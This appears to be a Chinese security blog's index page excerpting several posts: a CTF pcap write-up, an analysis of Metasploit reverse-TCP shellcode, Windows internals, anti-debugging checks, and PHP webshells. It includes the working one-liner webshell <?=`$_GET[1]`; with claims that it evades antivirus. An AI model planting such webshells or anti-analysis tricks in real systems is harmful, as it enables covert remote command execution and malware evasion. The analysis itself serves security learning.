陇剑杯wp
签到题
使用wireshark打开下载下来的‘Good.pcapng’流量包
1.1此时正在进行的可能是__协议的网络攻击(http,dns,ftp)
打开流量包发现总共有ARP HTTP Tcp等协议,没有发现ftp,dns包,所以可以认为是http攻击
more >>当我们使用MSF生成payload的时候,会生成如下图这样的形式:
这个16进制的数据其实由三个方面组成:
block_api.asm
,block_reverse_tcp
,block_recv
。
源码可以附在github上这里看:
接下来我们依次进行分析
我们都知道Shellcode是可以直接放在内存里面就相当于执行了,但是一般的应用程序放在内存里需要IAT(导入表)这个东西,所以Shellcode也需要这么一个部分用来找寻API函数,使他可以在内存里面执行。
首先Rdx这里是一个TEB结构体。而Rdx+x60又是一个结构体,叫做PEB。
在PEB这个字典里面又有一个叫做LDR的东西,它是一个信息结构。
我们使用LDR主要是去找kernel32.dll
里面的函数。(这种加载函数的方式是没有导入表的情况下,手动去寻找API的方式)。
后面一大段都是为了找寻里面的函数和函数地址,相当于是作者自己写了个方法找函数。
接下来第二段是想要去建立一个连接,首先去找到windows的一个lib库:ws2_32
。这个东西在自己电脑里面也可以搜索到:
如果你想用这个东西,你需要一个叫做WSadata
的结构体,并且在后面需要一个叫做WSAStartup
的函数,这个是c语言写socket的方法。
接下来这一点是为了将地址和端口写入进去:
然后通过小段序的方式可以看出对应的端口和ip地址。所以以后其实分析MSFshellcdoe的时候,可以注意看这一个地方。(最后的2000
表示的是家族序列AF_INET)
接下来就是创建一个socket对象,并且进行连接,就像python里面的socket.socket
连接成功之后,MSF服务端会向客户端传回来一个二进制文件Meterpreter(相当于加强版的powershell)。
所以shellcode首先会采用接受方法Recv,用于接受传过来的数据。
之后会用virtualloc函数来创建内存空间。
将recv的东西挨个挨个加进去
有空间有内容,最后只需要执行就可以了,于是最后收尾进行一个jmp跳转:
这样就成功完成加载了Shellcode。
在大多数用户操作系统中,应用程序与操作系统本身是隔离的:操作系统代码在内核模式下执行,可以访问系统数据和硬件,应用程序代码运行在用户模式下,只有有限的接口可以使用,对系统数据访问受限,无法直接访问硬件。当用户模式的程序调用系统服务时,处理器会执行一条特殊指令,将发出调用的线程切换至内核模式。当系统服务完毕后,操作系统会将该线程的上下文重新切回到用户模式,让调用方继续运行。
more >>本章将介绍Windows在处理进程和作业时涉及的数据结构和算法。首先概括介绍进程的创建过程,随后介绍进程的内部结构,接下来还会介绍进程保护机制,以及受保护进程和不受保护进程的区别。
windowsAPI
提供了很多用于创建进程的函数,其中最简单的就是CreateProcess
该函数会尝试使用与创建者相同的访问令牌新建一个进程。如果需要不同的令牌,可以使用CreateProcessAsUser
函数,该函数可以接受一个额外的参数(第一个参数),即已经通过其他方式(如调用LogonUser
函数)获取的令牌对象句柄。
反调试技术,恶意代码用它识别是否被调试,或者让调试器失效。恶意代码编写者意识到分析人员经常使用调试器来观察恶意代码的操作,因此他们使用反调试技术尽可能地延长恶意代码的分析时间。为了阻止调试器的分析,当恶意代码意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。很多种反调试技术可以达到反调试效果。
这是恶意代码中使用最高的反调试函数,是在win32API里面的应用层函数。
1 | BOOL IsDebuggerPresent(); |
1 | #include <windows.h> |
正如以上描述,如果存在调试的环境,就输出A,如果不是调试的环境,就会输出B。
该函数原理:
我们知道OD和其他动态调试器的原理都是通过附加到另一个进程上使用windows的debug机制去进行调试,而IsDebuggerpresent
函数本来就是该debug机制的一个函数,它负责查看这个环节中函数返回的值是否为0用来判断是否是调试环境。
效果展示:如果在vs中直接使用本地windows调试器方法去运行,便会出现a。
而直接在命令行中去执行
1 | BOOL CheckRemoteDebuggerPresent( |
该函数不仅可以检测自己是否正在被debug,还可以检测其他任意句柄是否被debug。
1 | BOOL CheckDebug1() |
它会把结果传输给一个布尔变量的指针,往这个地址里面直接写true或者false,用来判断是否是调试环境。
效果展示:
NtQueryInformationProcess
是ntdll.dll里面的函数,所以要想调用这个函数,是比较麻烦的,需要loadlibrary
加getprocaddress
1 | __kernel_entry NTSTATUS NtQueryInformationProcess( |
https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
最关键的是参数中
用来检测是否是调试器环境。(如果是非0的值,就表示有一个调试器。)
1 | bool NtQueryInformationProcessApproach() |
大致的意义就是将这个函数里面的值取出来放在定义的debugPort
变量中。用来检测是否是调试器环境。
效果展示:
当没有调试器的时候,我们关闭一个不存在的进程,错误会自动交给windows操作系统,但是如果在有调试器的情况下,当系统报错时,会将报错交给调试器。同时这个就是调试器的原理,OD的普通断点就是使用int3报错的方式来下的断点。
1 | #include <windows.h> |
不同于OD等,windbg是内核级调试器。这种内核级调试器同样有内核级的反调试手段。
1 | #include "kernelmode_antidbg.h" |
原理:
在32位下,KUSER_SHARED_VA 0x7FFE0000这段内存是一个内核层和用户层都能访问的内存段。而在偏移量2d4这个位置,也就是0x7FFE02d4这个位置,会有一个关于是否是内核级调试器的标志位,这就是问题的关键,通过这个标志位置,可以知道是否是在调试环境中。
因为没有用windbg,所以可以检测出来是disabled的。
1 | #include <windows.h> |
这个很明显,就是比对一下任务管理器中有不有进程名字与这几个调试器的名字相同。
这个也是逻辑上的检测方式,执行三条指令,看程序的执行时间来看是不是调试环境。
1 | #include <windows.h> |
TLS就是在运行主函数之前,就运行一段程序的机制。
1 |
|
即在程序运行main前就会报异常
1 | #include <windows.h> |
它使用汇编语言自动写一个int3断点,如果你在调试器环境,那么就会被调试器接管,如果说你用od去调试他,就会发现他会退出,如果是正常环境就不管。
https://github.com/MrH1TM4N86/Al-Khaser-Master
这个项目里面包含了各种各样的反调试手段和代码,可以用于借鉴。
在PHP中,当你写一个集合等于一个用重音符包裹的字符串的变量时,它将像在shell_exec()
命令内一样被执行。
https://www.nuomiphp.com/eplan/437635.html。具体的原因我们也不深究,只需要知道它的功能就是可以执行命令,同时它的木马也很简单,只需要轻轻松松的一句话。
1 | <?=`$_GET[1]`; |
免杀效果也是杠杠的:
也能够执行。
使用类的webshell是老生长谈的话题了。同样这个也能过掉火绒并且正常使用。
1 | <?php |
php 7.3.4的版本下,在;
号下可以解析传过来的参数
1 | <?= |
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是yilia根目录)执行以下命令:
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置:
jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true